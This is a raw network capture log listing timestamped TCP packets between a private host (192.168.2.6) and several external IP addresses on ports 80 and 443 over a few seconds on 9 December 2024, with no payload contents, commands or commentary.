Dec 9, 2024 21:09:28.534471989 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.534550905 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.534571886 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.534693956 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.534709930 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.534832954 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.534858942 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.534872055 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.534877062 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.534975052 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.534998894 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.535001040 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.535018921 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.535032034 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.535043955 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.535160065 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.535178900 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.535284996 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.535972118 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.536024094 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.536293983 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.536552906 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.536659002 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.536726952 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.536797047 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.536838055 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.578490973 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.578563929 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.579340935 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.579770088 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.579813004 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.579832077 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.627332926 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.627419949 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.671330929 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:31.112884998 CET	49892	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:31.113223076 CET	49916	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:31.232709885 CET	80	49916	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:31.232755899 CET	80	49892	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:31.232781887 CET	49916	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:31.232819080 CET	49892	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:31.235374928 CET	49916	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:31.355012894 CET	80	49916	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:31.911626101 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:31.911664963 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:31.911748886 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:31.912781954 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:31.912796021 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:32.579668999 CET	80	49916	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:32.579782009 CET	49916	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:32.581546068 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:32.582061052 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:32.701800108 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:32.701906919 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:32.702883005 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:32.702975988 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:32.703397036 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:32.822745085 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:32.960542917 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:32.960625887 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:32.960695028 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:32.960823059 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:32.960839987 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:32.992185116 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:32.992214918 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:32.992302895 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:32.992619991 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:32.992635012 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:33.154827118 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:33.154989004 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:33.158480883 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:33.158502102 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:33.158755064 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:33.215465069 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:33.216000080 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:33.216027021 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:33.216098070 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:34.035660982 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.035710096 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.035789013 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.035828114 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.036247969 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.036258936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.036268950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.036294937 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.036328077 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.037116051 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.037159920 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.037188053 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.037197113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.037225008 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.037236929 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.038042068 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.038081884 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.038261890 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.038306952 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.141412020 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:34.141525030 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:34.141575098 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:34.141746044 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:34.141761065 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:34.141772032 CET	49921	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:34.141777039 CET	443	49921	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:34.155591011 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.155667067 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.155833006 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.155877113 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.159687996 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.159753084 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.161420107 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.161453009 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.161648035 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.161684990 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.228627920 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.228679895 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.228852034 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.228893995 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.232274055 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:34.232364893 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:34.232938051 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.232995033 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.233115911 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.233161926 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.241236925 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.241275072 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.241374016 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.241420031 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.249593973 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.249644041 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.249711037 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.249751091 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.258018017 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.258059025 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.258099079 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.258138895 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.264858961 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:34.264877081 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:34.265189886 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:34.266274929 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:34.266299009 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:34.266355038 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:34.266413927 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.266458988 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.266634941 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.266674042 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.274707079 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.274749994 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.274862051 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.274900913 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.283139944 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.283185005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.283826113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.283864975 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.291343927 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.291393995 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.291477919 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.291563034 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.299140930 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.299185991 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.299592018 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.299633980 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.306665897 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.306713104 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.372334003 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:34.372347116 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:34.372428894 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:34.372996092 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:34.373007059 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:34.394376040 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.394426107 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.394524097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.394560099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.398065090 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.398113012 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.420595884 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.420650959 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.420948982 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.420988083 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.422842026 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.422884941 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.423063040 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.423104048 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.427270889 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.427318096 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.429187059 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.429228067 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.429677010 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.429718018 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.433470011 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.433514118 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.434456110 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.434495926 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.437896967 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.437937975 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.438975096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.439014912 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.442512035 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.442581892 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.442689896 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.442729950 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.446775913 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.446815014 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.446934938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.446974993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.451351881 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.451399088 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.451534986 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.451580048 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.455758095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.455806971 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.455898046 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.455939054 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.460267067 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.460308075 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.460377932 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.460416079 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.464714050 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.464757919 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.464999914 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.465042114 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.469188929 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.469230890 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.469300985 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.469346046 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.473604918 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.473648071 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.473656893 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.473692894 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.478208065 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.478261948 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.478311062 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.478353024 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.482530117 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.482574940 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.482597113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.482634068 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.486943960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.486993074 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.487540960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.487581015 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.492161989 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.492202997 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.492321968 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.492363930 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.496078968 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.496119976 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.496267080 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.496304035 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.500643969 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.500691891 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.500998020 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.501038074 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.504848957 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.504892111 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.505073071 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.505109072 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.586270094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.586318970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.586541891 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.586591005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.588385105 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.588422060 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.588490009 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.588546038 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.592654943 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.592696905 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.613122940 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.613171101 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.613209009 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.613246918 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.614841938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.614890099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.615118027 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.615155935 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.618244886 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.618302107 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.618458033 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.618514061 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.621624947 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.621867895 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.621917009 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.625061989 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.625406981 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.625451088 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.628499985 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.628667116 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.628948927 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.628997087 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.631812096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.631895065 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.631941080 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.634845018 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.634964943 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.635021925 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.638062000 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.638413906 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.638474941 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.641163111 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.641218901 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.641356945 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.641437054 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.644279003 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.644481897 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.644536972 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.647514105 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.647656918 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.647699118 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.650592089 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.650852919 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.650903940 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.653839111 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.653903008 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.653947115 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.653986931 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.656976938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.657028913 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.657205105 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.657253981 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.660033941 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.660085917 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.660245895 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.660295963 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.663203955 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.663621902 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.663670063 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.666335106 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.666400909 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.666657925 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.666707039 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.669703007 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.669912100 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.669930935 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.669971943 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.672671080 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.672714949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.673381090 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.675853014 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.675925970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.676434040 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.676511049 CET	49923	80	192.168.2.6	185.215.113.16
